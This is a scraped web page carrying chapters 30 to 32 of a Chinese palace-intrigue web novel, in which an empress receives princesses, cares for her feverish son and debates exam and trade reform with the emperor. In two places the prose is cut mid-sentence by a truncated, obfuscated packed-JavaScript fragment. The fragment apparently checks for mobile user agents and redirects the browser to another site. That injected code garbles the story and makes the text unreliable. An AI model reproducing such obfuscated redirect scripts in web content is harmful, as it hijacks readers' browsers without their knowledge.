“且不说远的,就是今日要见的这四位,倘若只是三嫂与和言入宫,那于我简直是一桩天大的幸事,可偏偏还有怀宁长公主和陇西郡王妃,这便又是个辛苦事。” “娘娘不如结束后单独将云和长公主和闽中郡王妃留下来小叙?”啼樱试探着道。 “那样外人便会凭此猜测陛下与我的态度——三嫂也就罢了,单留闽中郡王妃而不留陇西郡王妃,岂不叫人觉得厚此薄彼,甚至因而看重闽中郡王府而轻视陇西郡王府了。”师冉月叹道:“啼樱,你去瞧瞧木莲和春桃,她二人都是我才从下面选上来的小宫女,十三四岁而已,做事还不大稳当。” 啼樱点头称是。音儿看着她走了,微笑道:“啼樱还不算稳重,姑娘便放心她去教导那些小宫女么?” “她虽不稳重,但不会装腔作势滥施私刑,又好亲近,对这些才选到身边的人来讲倒比你亲自去还妥帖点。何况啼樱自小是你带出来的,比你不足,比旁人总要胜过许多了。”又不免笑道:“当年是你教导她,如今竟也轮到她去教导别人了。算算她今年也十九岁了,过会儿有空且得问问她的意愿,千万别因为跟我入了宫耽误了她的终身大事。” 这厢坤宁殿如今的掌事太监、从前夏公公的徒弟吴怀安进来道:“娘娘,前殿宴席已经摆好了,二位长主和二位王妃已经入了慈顺门了。”慈顺门是内宫门,一入慈顺门,到坤宁殿也只需不到一炷香的功夫了。 “知道了。”师冉月眉眼重新蒙上倦意,喝了口冷酒强打起精神来,又吃了口清茶漱口,换上事先准备好的大红压黑的衣衫,再一次准备着做起师皇后来。 30. 第 30 章 官和言几年来在这样的场合下一直习惯性地将视线安放在面前的酒杯上,目光反复描摹着纹路,装聋作哑般回避周遭的言语交际。不过今日想着师冉月,总归内心有些雀跃期待,却还是疲于抬起眼帘以免与对面的陇西郡王妃王氏对视。 端木萌瞥了瞥装鹌鹑的官和言和麻木着一张脸的王氏,刻意回避对面长姐灼灼的目光,侧身问尧儿道:“皇后怎的还未来?” “奴婢方才看见坤宁殿的德保,他说吴公公已经进殿通报了,想必快了。” 端木萌点了点头,低头理了理琼紫广袖,上面拿金线杂着暗紫色的珠线绣了密实的花鸟纹样,华贵非常。这料子难得,纹样更费工时,原是上供给皇后的其中一匹,结果师冉月只选了一匹正红的和一匹鸦青的,琼紫的叫人送到了阳曲侯府,还有一匹淡曙红的如今就在官和言身上穿着。 思绪乱飞间,师冉月已迈步进了前殿。四人纷纷起身行礼。师冉月施施然走到主位落座,一声“免礼”话音落地,殿里便再次归于沉寂,只有来往布菜的宫女轻微的脚步声和盘碗碰撞的微响,纷乱铺陈的噪音在大殿底色间漫延回荡。 依礼奉酒三巡,师冉月才率先开口:“诸位与我也都是旧相识了,又都是自家人,虽许久不见,今夕非昨日,但也不必刻意生分了。”说罢主动举起酒杯,率先对着端木葭道:“若是在寻常人家,本宫合该称长公主一声‘长姐’,日后若有什么事还要请您帮衬。” 端木葭微笑举杯还酒示意,一饮而尽方道:“不敢当。” 师冉月笑道:“说来上次与长公主这般叙谈,还得是承祐十年颍川侯府办寿宴的时候呢——那会儿也是王姐姐刚嫁到郡王府,第一次与郡王相携出席罢?” 王氏一个激灵似的转头看过来,目光无神缥缈,脸上的肌肉僵硬地牵起嘴角,点了点头,声音生涩道:“娘娘一如当年貌美。” 端木葭却笑道:“我却觉得娘娘与云和一般,这些年来倒是变了不少。” 端木萌的目光不经意间碰上端木葭考究的双眸,又迅速移开目光看向师冉月,笑了笑:“怎么会呢?姐姐大概是许多年未见我们,记错了罢?” 端木葭却看着端木萌,接着缓缓道:“娘娘与云和幼时到各家赴宴,几次混到男儿堆里闹得翻天覆地,如今却有九分浑似唐夫人与萧夫人了,怎能不说是今非昔比呢?” “还是长公主记性好,本宫这些年都快忘了旧年在京城的事了。” 这般有一搭没一搭地说了会话,师冉月便托口倦了,便也顺势撤了席面,又邀四人在宫中留一晚,除却端木葭推说其子女尚且年少,不能教人放心,故而出了宫去,其余三人也就顺势答应了下来。宫人引着官和言与王氏去了住处,师冉月与端木萌慢慢登上城楼,看着端木葭在宫门口踩着下人的背上了马车,墨绿的衣裙如深潭中的青苔,在暮色中慢慢隐匿。 “姐姐端然还是当年那个定陶公主的样子,这么些年,也不曾变作岳夫人。”端木萌自嘲般冷笑。她心知端木葭席上所言“浑似唐夫人与萧夫人”并非说她与师冉月不似少时而变得成熟稳重了,是专意点她如今没一点公主的样子,全然与寻常勋爵人家的夫人无异。国朝常有士大夫赞美能放下身段孝顺舅姑、抚育子女、体恤侍从的公主,好以此把她们当作活的《烈女传》来为天下女子做表率,然而端木葭却自小对此鄙视不已。端庄贤良是她自诩的优点,可她却也从不曾放弃作为皇帝嫡出长女的尊荣。 “我记得我进宫做伴读时,怀宁长公主还未出降,有一次我在她那里吃茶酥,有个端点心的小宫女将一个瓷盘不小心摔碎了,长公主便罚她高举着碎瓷片在宫门前跪了一日。”师冉月回忆着,“她赏赐侍从时最大方,但若有不如意时惩罚也会毫不留情。我曾经还问过昭献皇后,这是不是就叫做赏罚分明。”她哼笑了一声,又道:“不过各人有各人的缘法,也谈不上对错之分。” 手指轻轻抚摩着城墙上的石砖,端木萌看着远去的马车,望着不远处各家的庭院楼阁,琉璃屋顶在夕阳下恍如金顶,古树名木杂在其中,生长得郁郁葱葱。她的心中无端难受起来,指尖混乱地扣着墙面,疯了似的觉得那揪心似的感觉莫名地激起了报复自己般的快感,却又恍然松开手指,怅惘着不知道自己混乱的思绪要落在何处。 趁夜里,师冉月悄悄绕过身旁熟睡的端木玄,只穿了中衣披着披风,便独自跑去了官和言的住处,也不许守夜的宫女通报,自己闪身溜进去,将初秋夜里冻得有些凉的手一下子捂在她的颈上,又手忙脚乱堵住她尖叫出声的嘴。 官和言的侍女点燃了两盏灯放在床帐内,便又退了出去。官和言捂着胸口大喘了几口气,又微微咳了两声,才虚着嗓子道:“你真是吓死我了——这大半夜的你怎么能偷溜出来呢?你如今可是皇后啊。” 师冉月得意:“正因为我是皇后,就算被人看见了也无所谓啊。” 官和言吐吐舌头,拢了拢肩头披着的锦被,道:“名声不要啦?” “你从前最不在乎这些,可是王府里拘着你了?” 官和言随意笑笑,烛光朦胧温热地覆在脸上,竟能看见眼角些许细微的纹路。她学着师冉月的语气道:“正因为我是郡王妃......谁能拘着我啊。别说这些了,你一离京这十来年,总是一年半载的都没有个信儿,后来你成了楚王妃,我又不清楚你那府里的底细,也不敢在信里给你多写些什么,快都给我讲讲。” “你倒是与原先一个模样了,白日里却装起木头来,比陇西郡王妃瞧着还沉默寡言。”师冉月展开笑颜,随后二人便一一絮叨起这些年互相的见闻感受,直直到东方鱼白,宫人悄声进门来提醒,师冉月才顶着青黑的眼圈赶在端木玄上朝前又回了坤宁殿去。 夏日的暑气消退得骤然,不过一日之间,风的味道就有了秋意,落在宫墙上三三两两自成一排的鸟儿的叫声也仿佛成熟的果实婉转饱满。然而却也因着这场秋风,端木城、端木玦和端木含兄妹三人却皆染了风寒。 “告诉皇后娘娘,公主生病,我无法分心好好侍奉陛下,还请娘娘代我谢罪。”徐聆雨哄着咳嗽得直哭的端木含心急如焚。端木玄登基后为了防止朝臣猜测结党站队,凡是在后宫过夜,便遵循着皇后一日、贵妃一日、昭仪一日的规律,从不偏颇。前一日林绵陪端木玄看了半宿折子,又照顾了发热的端木城半宿,累得自己差点病倒。徐聆雨自认不敢在端木玄面前违逆不尊,而端木含还小,她更是一刻不敢离开,只好早早谢客为妙。 端木玄倒似是对自己这三个孩子的病状都不大担心,除了叫太医每日向他禀报一次,没有什么别的举动。 “做父亲的总是只有子女出生时新鲜一会儿,取得荣耀时骄傲几分,其余旁的总比不上他自己的事业。时时看顾子女一举一动的总是少之又少,能为之谋深远多筹谋几分的就得是烧高香得来的了。”何况是端木玄。商贾出身本会限制他的人生,机缘巧合却赐给了他精明的头脑、令人叹为观止的交际能力和永远捂不热的只懂交易的心。 师冉月叹气:“罢了,合月,你去与烟水说一声,请陛下留宿他自己的清和殿罢,也免得皇子公主把病气过给他。就劳烟水照顾陛下几晚了。”自己又取了木莲浸了凉水的毛巾来反复擦着端木玦全身。啼樱端过药来,皱眉道:“娘娘,这药方才我尝了一口,苦得很,只怕小殿下不肯喝。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226145|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 师冉月亲自接过碗来,舀了一勺吹了吹,亲自用唇试了试温度,却只觉得光是唇上沾的味道就已经苦得要命,只得叹道:“也无所谓苦或是不苦了。”奶娘将端木玦扶起来,叫他坐靠在怀里,师冉月亲自边哄边喂,端木玦却是半吃半吐,好容易一大群人围着把药吃完了,又塞了块甜米糕在他嘴里,看他逐渐睡了,众人才敢松了口气。 中途又折腾着给他擦了几遍身子,直到天蒙蒙亮,端木玦才终于退了烧。师冉月叫两个奶娘换班守着,自己才走出偏殿透了口气。啼樱扶着她道:“娘娘不如去睡会儿罢?您这两日拢共也没睡上几个时辰,这么熬下去身子要受不了的。” 师冉月望着发白的天光,拢了拢褶皱的水青色披风,双眼干涩,却偏偏没有困意。“你去睡会儿罢,音儿有了身孕出宫,这几个月坤宁殿的宫人都要你来统领,辛苦得很。” “我不辛苦的,娘娘,我还指望着音儿姐姐回来时夸我呢,可不敢松懈。娘娘要做什么我陪您去。” 师冉月笑笑:“只喜欢音儿夸你,不喜欢我夸你吗?” “娘娘夸我当然更好。” “好啦。你现在若肯听话去睡觉,我便夸你。”师冉月拍了拍她的手,“我想一个人走走,你日后还有的累,自去睡罢。” 好容易劝走啼樱,师冉月忍不住暗中笑叹:“真是个倔丫头。”也不许坤宁殿旁的宫人跟着,自己一人往殿外踱步。长街寂静,宫墙披着世上最鲜艳的颜色,也显得冷清。偶尔路过一队扫洒的宫人,恭肃着站成一排,低头直到师冉月孤寂得奇异的身影在余光中消失。她仍漫无目的地走着,腿脚似乎受了什么的牵引,一步一步踩着洒水的石砖。忽然不远处传来一声孩童的哭嚎,伴随着打骂声,接着便是不断的压抑着的啜泣和呜咽。师冉月一惊,抬头瞧了瞧一旁的牌匾,原来她已走到宫中梅园另一头的花房。 她给门口迎上来的宫女嬷嬷们使了个眼色,放缓了步子走进去,才看见原是一个小太监跪在一堆碎瓷旁,正被花房副掌事拿着竹笞责骂,想是失手摔碎了花瓶。 师冉月微微抬高了音调,唤了一声“奚嬷嬷”。副掌事忙抬起头,看清来人倏地跪下:“皇后娘娘金安!” “这孩子犯了什么事?” “他毛手毛脚的,摔碎了要放到陛下书房里的建兰的花瓶。都怪奴婢惊扰了娘娘,这儿一地狼藉,不敢扰娘娘清净,还请娘娘移步。” 师冉月却没有分给那上前来想引她到一旁的小宫女眼色,也未叫奚嬷嬷起来,道:“嬷嬷是宫里的老人了,原先昭献皇后就曾夸奖过你,昭顷皇后更是把你提拔成了副掌事。如今林掌事将要出宫,这关头上嬷嬷何必发这么大的火气,管教下属,也该有个分寸。” “是......是,奴婢知错,谨记娘娘教诲。” “小荷,扶嬷嬷去喝碗茶消消火气。”师冉月看着奚嬷嬷战战兢兢地退下,才慢慢走到那小太监身前蹲下,叫他抬头。怯生生的眼神望过来,似是新入沸水的新茶叶瓣,瑟缩,湿漉,又莫名有些舒展,更叫师冉月觉得似曾相识。 “叫什么名字,是哪里的人?” “小人叫苏预,是塘郡人。”不是意想中的磕绊,他声音清澈明亮,虽是还隐隐带着哭腔和口音,却还是叫人听着悦耳得很。塘郡与逢州比邻,倒也叫师冉月多了几分恻隐。“怀安,你带他去前省侍书院罢。”师冉月对着满头大汗匆匆赶来的吴怀安道,“......这个‘预’字,如今倒不大合适,就改叫‘裕’罢。裕,衣物饶也。往后要再谨慎细致些。” 苏裕点了点头,被吴怀安拍了拍肩,忙又跪下行礼:“小人谢娘娘赐名,多谢娘娘教诲。” 31. 第 31 章 被这点小插曲打断,周遭宫人也又簇拥了过来,师冉月也没什么心思再乱走下去,便早早回了坤宁殿,又去看了眼熟睡的端木玦,才合衣小睡了会儿。还不到晌午,端木玦便醒了,虽然没有再发热,却断断续续咳嗽起来,兼连流着鼻涕,倒比发起热来晕晕乎乎的还要难受。师冉月又怜又急,连着人问问端木城与端木含的情况也顾不上,等太医看过又调了药后,便亲自抱着端木玦,来回哄着喂药安慰着,好容易待他咳嗽歇下来睡着,才发现天已将黑,自己却作息颠倒着整日未进食,肚子空得难受。 “啼樱,怀安,快给我弄些吃的来!” 啼樱一面端上来一盘刚蒸好的山药桂花糕,一面却道:“娘娘,方才近黛姐姐来说陛下邀您去前面用晚膳,说是有事与您相商。” 师冉月半口糕差点卡在喉咙里,推开了怀安手里的茶杯,直接拎起茶壶猛灌了两口,好容易才缓了过来。“真是造孽了。”忍住想要喋喋不休骂人的欲望,师冉月静静坐在远处,也不理怀安他们不住地用眼神催促,硬是又吃完了三块桂花糕,甜蜜绵实的口感填满了口腔也平复了心情,这才慢慢悠悠去梳妆整理,换上一身雀头青的锦衣,衣料上是授蓝和明黄色调的蜀绣,端庄大气又明艳张扬,外罩着白青斗篷,瞧着暖和踏实。“合月,告诉奶娘仔细看顾着太子,再叫木莲去问问大皇子和令成公主的状况。” “方才贵妃宫里的人来说大皇子已经好的差不多了。属下已差人去昭仪宫里询问。” 师冉月轻叹:“果然,叫大皇子多跟着师傅强身健体还是对的。” 合月笑道:“太子殿下和令成公主尚幼,再过几岁想必也就和大皇子一般强壮了。” 顶着凉风往清和殿走去,师冉月有些瑟缩。手中的手炉渐渐凉了下去,啼樱看着师冉月的神色将手炉换下来,狠狠挖了负责往手炉中添香的宫女一眼。师冉月没有理会,只加快了些步子往前走。 进了殿中,充足的炭火气混着淡淡的木质香瞬间闯进鼻腔。师冉月打了个颤,才觉得热气慢慢渗入血液,浑身都舒展起来。她望着坐在桌前的端木玄微微笑着行了个礼,道:“好久不在京中过冬,倒有些不适应了。” “是坤宁殿的炭火不足,还是宫人不尽心?”端木玄问道,“啼樱虽侍候你的时间也算长,看来还是不如音儿妥当。” “哪里。”师冉月笑笑,“是我自己的缘故,怨不得旁人。” 见她落座,总管太监岑嘱全便示意宫人上菜,倒全是师冉月喜欢的菜色,甚至还有不符合宫中菜样的鲜虾蛋羹。师冉月眸色发亮,有些惊喜。端木玄见状,笑中带着些得意,仅留了几个二人管用的侍从侍奉,其余人皆屏退,殿内的氛围迅速松弛了些,倒像是在王府的光景了。两人各自吃着,一时无话,所幸殿内皆是熟人,也不必遵循着繁琐的规矩,吃得还算尽兴。 饭后又饮了一小杯果酿,师冉月方觉得心满意足,连日里来的疲倦也都消散了些。端木玄看着她突然笑道:“皇后碰上自小跟着的侍从,便心软体贴,碰上这宫里原本的人,便心冷手硬了。” 师冉月愣了愣,原是前几个月她连着罚了好些个消极怠工懒懒散散的宫人,轻则罚俸,重则发配到行宫服役,还有几个背地里嚼主子舌根的宫女太监被她剪了舌头打出宫去,一时间阖宫上下严肃非常。“朕听闻,有人把你比作活阎王,喜怒无常。” 师冉月勾唇笑道:“陛下不也当众廷杖了几个臣子。臣属侍从若是各行其是,哪怕规矩没有完全立好,也可慢慢归拢,然而这宫内宫外乱了几年,换了好几个主子,人心散漫只知道混日子等死,甚至别有用心者另谋出路,盯着你我这样的人就像盯着金山银山,白天夜里恨不得敲下来一块带走,怎能心软?” “那么,今日你安排到侍书院的那孩子究竟是如何软化了你这颗心呢?”端木玄好整以暇地盯着她,眼神中似乎有些别有用心,却又好像只是随意好奇着一些无关紧要之事。不过一尺之隔的距离,眼眸深邃似是未被踏足过的迷雾缭绕的森林般青郁近黑,充斥着危险的讯息却偏偏引着人去探寻。 师冉月是少有的不被这森林迷惑的人,她甚至会驻足在林前,搬把椅子来悠哉地观察着雾气如何漫延又如何散去。她眯了眯眼:“他眉眼有些像言哥儿,身量也相似,年岁也与我那几个侄子差不太多。” 端木玄嗤笑:“我还以为你会说些‘稚子何辜’、‘幼童可怜’之类的话。”他弃了‘朕’字,叫这场景不似是在巍巍宫墙内,倒像是在京中酒楼、南湖廊桥或是慕州银朱楼中了。“不过那个‘裕’字,寓意虽好,他这样的人却压不住。我叫人给他改成‘遇’字了,就当纪念他有幸长得像言哥儿,又遇着了你,因祸得福了。” 师冉月心下却觉得这名字不像是给宦者所用,但也懒得反驳,只是笑了笑:“陛下喜欢就好。不知陛下今日找臣妾有何事?” 端木玄斜靠在椅背上,道:“朕将宣布明年三月重开春闱,广纳贤才。科举放榜之后,也要准备选秀一事。”自端木玄登基后,便常与师冉月说起前朝事,偶尔闲谈,偶尔正色,也会询问她的看法,甚至还会予以采纳或是放之到朝堂上令臣子们讨论商议,似是默许了她干政。 师冉月闻言点头:“这是应当的。贤才能士是治国理政的栋梁,近几年动乱耽搁了科举,是该早日恢复。选秀之事陛下有何打算?” “平衡为准。彼时对照着新科进士再行定夺即可,此事你全权把握就是了。”略微思索,又道:“近些年历代宫中高位的妃嫔和女官基本都是朝廷命官或是公侯伯爵之女,公主也大多出降到了类似的人家,此次倒不妨选些地方官员或是各地望族的女儿进宫。” 近些年朝中内乱严重,以致地方官员的轮换和调动都有些耽搁。有些边境要塞郡县的长官还是由武将任职,手中或多或少皆有兵权。武宗前期曾收权流兵,以防兵将互亲拥军自重,但近二十年边境部族多有叛乱侵扰之事,外加偶有灾荒之年,流民问题严重,甚或有农民起义须得镇压,于是兵权又逐渐下放,史自兴当政时尤甚。端木玄方执政,不好一下子收归兵权,只先将西南、西北、东北重镇的将领略作调动,将先前朝中派去支援的军队逐渐收回,地方上的问题尚未着手。 前两个月师霖亲自奉诏收回了几处大矿,增设了官员负责管理且皆由朝中派人任职。原还是端木玄为地方之事发愁,师冉月提出“不如先收财再收兵”。在朝中议时,学士余褐便提出可以先从矿产入手。将矿产收归国有,于百姓生计并无多少影响,因此除却当中有利益纠葛人家便没有什么麻烦,被师霖带着余褐、蒋节一通威逼利诱,此事便也大功告成。然则再想继续却陷入了僵局。 “地方上必须要有些钱财预备赈灾救急,这是不好变动的,就算要变动,收回多少、留下多少也需要从长计议。粮仓也同理不可轻易变动。至于当中官官相护层层盘剥早已是痼疾,不是一朝一夕可以解决的。” “臣妾听闻朝中有士大夫建议减官减俸?” “是有人上书如此,这也是历朝历代实行变法时的老法子了,但成功的却几乎没有。先说俸禄,国朝百官俸禄并不算多,按正常人家衡量只是温饱有余,若是谁家在朝为官者少而人口却多,全家只指望着这些俸禄而活,那恐怕甚至是勉强温饱。更别提官员间总有应酬来往等各种事务所费银两皆不是小数目,于理不合于情却也说得通。是以没有绝对的清廉,更不能要求绝对的清廉。若再减俸,恐生罗乱。” “为官者本就该为百姓谋利,不然怎有‘达则兼济天下’的话?” 端木玄转了转白玉扳指,嘲弄般叹道:“一门心思在仕途上往上爬的人,就算起初从那孔孟圣贤书中悟出了什么崇高的人生理想,也早就被现实磋磨没了。换言之,好不容易爬到了官位上,却要求他比原先还清白还无私,也算苛刻。” 师冉月有些沉默。端木玄继续道:“是以,朝中往地方的各种拨款,自太守起层层私吞,能剩下来些留给百姓就已是不错,更别提反过来从百姓指缝中搜刮的了。” “我在逢州时,曾特意换上粗使丫鬟的衣服到庄子里和田间去,也曾与一两个农人交谈。那时大哥曾说我不知人间疾苦,因此我一是散心,二是特意想去看看大哥口中的‘疾苦’与我在书里读到的究竟有什么不同。”风一紧,殿内的烛火一闪,师冉月没有看着端木玄,眸光淡淡地落在桌上那一碟青团上,脸色在烛火肩明暗交织,陷入有些久远的回忆里。 “那时逢州的状况其实应当算是很优越的了,连着几年没有大灾收成不错,没有战乱,徭役也算少,因此百姓也能顺应农时生产。除却赋税,他们并不大关心为官者如何,更怕和官府粘连招惹事端。他们所上的学不过是村子中未能中举的老秀才为了糊口开的私塾,能写自己的名字、背几句三字经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226146|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已是不错,能有年轻人抱负深远想要学那戏本子里为百姓做主的父母官的,也根本没有机会读书科举。 “至于像我大哥这样的人,本可靠恩荫为官却偏要科举的,这世上倒没几个。家境中等想靠科举再向上搏一搏的,就算不是对着诗书礼易死记硬背应付考试而真心读懂些道理的,也没几个能真正设身处地体会平民百姓的处境,更别提那些流民饿殍了。这就好比我至今仍理解不了,那些家境贫寒连大人都吃不饱饭的,为什么还要一个接一个生下孩子。” 端木玄沉默地听着,末了道:“与你所言类似,穆宗时就曾经有太学监正提过,他主张广办官学,先兴教育而后以科举选拔,方能做到不论家世取士天下。但此事说来容易,若想真正落实,经费便是一大问题,因此穆宗时便不了了之。后来武宗即位初年也曾重提此事,主张改村庙祠堂等为学堂,物议沸腾,加之就算朝廷真正在各地都设了免费的官学,能真正寒窗苦读勤修学问的又有几个?兴许就如你所言的那些农家子弟会觉得读书不如务农,商贾人家会觉得读书不如经商,大多只求识字,至多明理,恐怕就不肯再读下去了。” 又道:“似大舅兄这般侯门子弟衣食无忧,若真能有所悟,倒真能以悲悯待百姓,对于百姓来讲就已经是很不错的父母官了。而他家资深厚,自不必靠贪污受贿发家,是以能保持身姿清白。” 师冉月嘲弄道:“史自兴家底亦不薄,对着钱权仍是那副贪婪嘴脸。人心复杂,不是能只靠学问、家资等就能区分开的。”又转而道:“既如此,陛下可是要改革科举?” “不急。如今离春闱不过半年,骤然改革无法保证完善,更会扰乱人心。先提拔上来一批新人瞧瞧看,兴许当中能有人针砭时弊,提出些什么好法子。” “那地方上一事,陛下打算如何?” “慢慢看罢。”端木玄有些疲惫。“只怕我们最后黔驴技穷,也终究无法改变什么,只求不要适得其反。” 师冉月眼眸微沉,眸光中闪过一点哀色,似是炎炎夏日飘下来的霜花。“怎么,你如今的追求,难道是成为千古称赞标榜史册的明君?” 端木玄的脸色有些崩塌,像是冰融化前的挣扎。 自小粥棚前排着长队衣衫褴褛的流民浮现在眼前,九州大地上一座座古老巍峨的、遍布着硝烟与血迹遗痕的城墙下是衣不蔽体的饿殍,是吊着一口气苟延残喘的乞丐,是孩童干瘪的尸首,是惨遭奸杀的女子,是庇护不了幼子的无助父母,是麻木呆滞形如恶鬼的人。登高望去,埋没在海浪般层叠的琉璃瓦下的,人与人的命运天壤之别。居于高位者同样麻木,无关紧要的怜悯如同大旱之年苍天吝啬施舍的一点飘雪。 “就算你想,这世道已经烂了,你救不了。” “陛下,臣以为——欲改地方官制,不如先通商路,理财政。” “卿但说无妨。” 御书房中未熏龙涎香或檀香,倒是有一股淡淡的柏木香。师霖斟酌开口:“臣查收矿产时发现如今商户大多惧怕官府设限或民乱匪患,商路不如几十年前那般全国通畅。行商者即钱货流通,若是商路遭到限制,钱货滞涩,朝廷若想丰盈国库,就只能从税收和俸禄上开源节流,自然与官制息息相关无法随意改动。然而若是先软硬兼施稍稍平息民乱,给商户一些政策,各大府路也能从中稍稍谋利,则必不会过于反对,兴许倒好施行。” 蒋节点头附和:“师太傅此言有理。若是市舶司也稍加改动,使下海到外洋的商户与藩商同内地的商贾相配合,必能事半功倍。且前些年海上倭患匪患已经被平息的差不多了,此举倒不必多费兵力,只是需要放宽些出海的条例限制。” 端木玄道:“卿等说得有理。若是北方互市亦能参与进来就更好了。” 户部尚书陈科道:“陛下,此事不宜操之太急,当徐徐图之。况西北近二年虽平,北方与东北部族与周边小国却常扰边民,若想谈判议和、寻求互市,恐怕还需要时间。” “那便先平匪患,通内地商路,请卿等商议先划定几大州府不设坊市限制,也允许城中百姓将自家余粮、余布还有手工品等自行买卖。行商于国内不设通关税,今年先减免一成商税。市舶司尽快给朕一个方案,若要放开海路,放开多少、如何设限设税,藩商与我朝商户是否做区分,如何保障出海的安全等,都要详细切实。” “臣等领旨。” 32. 第 32 章 “大嫂自入秋时染了风寒,咳疾一直未愈,怕影响焕哥儿准备科考,托我将安居堂收拾出来给他住。” 再度回京后,师霖袭了爵位,端木萌便是正儿八经的阳曲侯夫人,萧晨便逐步脱手了掌家之权,称应当由侯府主母主持中馈。师穆袭爵时萧晨本也有意让权给端木婉,然而彼时端木婉乐天派一般追求逍遥快活及时行乐,只答应帮忙,却不肯全权接手,找萧晨撒娇耍赖好几回,此事便也不了了之。后来又横生变故,便也就此搁置下来。 师家从前好几代单传,没有分家的旧例,长房与二房又都只剩孤儿寡母,子女也皆未成年,因此众人在一起商议了,还是原来一大家子一起住着。 “也好,安居堂本就是大哥从前备考时的住处。” 端木萌却皱眉道:“只是史自兴来抄家之后,安居堂只简单收拾了下残局,都没什么布置。周围又是祠堂树林之类的,焕哥儿还小,叫他一个人住进去苦读恐怕不适应。何况就是真为了准备科举也不至于这般吃苦——你莫要拿外头什么贫寒子弟做对比。” 师霖眼看她越说越气,一遍好笑她不知是受了什么刺激,一边赔笑道:“怎会。先把留源轩东厢收拾出来叫焕哥儿住着,我再找人仔细收拾安居堂便是了。” 留容轩院里种的是月季和垂丝海棠,西厢南窗下是西府海棠,西窗下是玉兰和迎春,东厢外也是木瓜海棠,到了冬日里无端显得落寞寂静,但被师婷欢带着人修剪一番后反倒显得干净整洁起来,倒也免了端木萌近日来处理各种事务的满心烦乱。 师霖在府外装的人模狗样,实际上也累得要死,少时花天酒地到处应酬,只怕认识全京的王孙公子还算不够,得与全天下的人都认作兄弟才好,如今却恍然惊觉能毫无顾忌信赖的也就师骁一个,只恐怕一不小心说错了话做错了事就又要致使全家遭祸,因此只好步步为营。但每每回家见儿女与一帮侄子侄女大呼小叫上蹿下跳,他倒不觉得厌烦,只觉得有趣,然而最最有趣的还是看见端木萌也忙得焦头烂额。 端木萌对此都懒得回怼什么。从前萧晨掌家她不过帮着打下手,都是萧晨告诉她做什么她就去做,轮到她来主持中馈才发觉原来需要她安排、指挥、经手、决策。“小六真是个走运的,当年她接手王府的时候那个叫烟水的都给她打理得板板正正的,音儿与合月也得力。唉,楚王府也是人口简单,不像咱们这一大家子。” 师霖轻笑:“等着吧,她的好日子也要到头了——明年放榜之后就要选秀了。” 端木萌瞬间警觉:“小六能应付得来?不行,过几日我要进宫一趟。” “别急嘛。今上又不是武宗,后宫再怎么争抢也入不了他的眼,便也没有争抢的必要。” “你一个男子自然不懂,宫里的弯弯绕绕哪是这么简单就能说明白的。就算今上无心女色也有的是可争抢的东西。女子付着一辈子不复再见父母家人、失去自由的代价进那无趣无聊的牢笼里去,自然要为自己的族人和孩子谋得利益。前朝兴许斗不过师家,那宫中要是没了个皇后,是今上会为了小六空悬后位还是你师霖还有个妹妹能送进宫去?”少年时一幕幕模糊的回忆渗着冷风钻进脑中,端木萌突然有些胆颤心寒。 师霖搂住她的肩轻轻抚摸,一点一点把她抱进怀里,轻声道:“别害怕,不好的事都不会再发生了,我保证。” 端木萌强忍着情绪,一张脸全埋在师霖怀里,却还是忍不住微微颤抖。她得知昭献皇后的死讯太过滞后,滞后得她已经提前把眼泪流完,默默收敛心情接受了无可奈何的事实。那座皇宫保存着她无法无天受尽宠爱的童年,也改变了人心,埋葬着她至亲的灵魂。甚至回首看去,连她光鲜亮丽的童年里也藏着阴暗血腥,如同夜里枝头啼鸣的杜鹃字字泣血:早夭的兄弟姐妹,死状凄惨的平卿贵妃,无缘无故失踪的宫女嬷嬷...... 人心可畏。师霖感觉到端木萌的后怕,却更多的在担忧未来。师家私兵可助端木玄夺天下,自然也可以从他手中夺走,这个道理端木玄也不会不明白。围城逼宫后,凡跟随端木玄的都受了封赏,然而手中有兵权的二位长公主的驸马皆被换兵,仍远戍边疆。安王也被收了虎符调换封地,唯独对师家无所措施,倒叫师霖提心吊胆。 厢房里孩子们的吵闹声逐渐安静,灯一盏一盏熄灭,无穷无尽的黑暗像天穹倾倒下来的黏稠的墨汁,连着滞涩了控制世界的牵丝线。墨顺着丝线缓慢流淌,落在终处即是洪流。 新帝登基的第一个新年,一切百废待兴。 自那日谈话后,师冉月便总是试图让端木玄清楚,就算他当真贤能,国朝也不需要一位中兴之君,而是勉强维持便算是成功的君主。这不是休养生息一切勃然待发的时代,而是疲惫不堪需要一场彻头彻尾的变革才能迎来新生的时代。 “端木家的天下也不需要你来守,何须为此费尽心思?” 端木玄却盯着她道:“皇后以为,朕与皇后便应当从此混吃等死了吗?” 师冉月哑声。 端木玄缓和了一点表情,示意合月扶着她坐下。清和殿的宫女薄枝端上来一碗酸枣麦茶和特意为师皇后备的茉莉蜜茶,递到了师冉月面前后便退下。端木玄给了岑嘱全一个眼神,示意无关人等都退出殿外,才沉声缓缓道:“我晓得你自从少时就觉得这世道无药可救,你的人生也全屏旁人安排无所指望,只是原先在王府时你还总是给自己找些事做,怎么如今这般颓废?你自小在京中长大,又常进宫,我以为你会适应得好些。” 相比之下徐聆雨便似是不大习惯,有些崩溃,如今借着端木含病了,自己也闭门不出拒不见人。师冉月好心说着叫太医去看了几回,吃着些汤药,这才肯慢慢出门走走,与林绵和师冉月说些话。 师冉月抽了抽嘴角,僵硬道:“宫里处处是规矩,怎好随意放肆。我如今是一国之母,是全天下女子的表率,怎好随意逾矩惹人非议。” 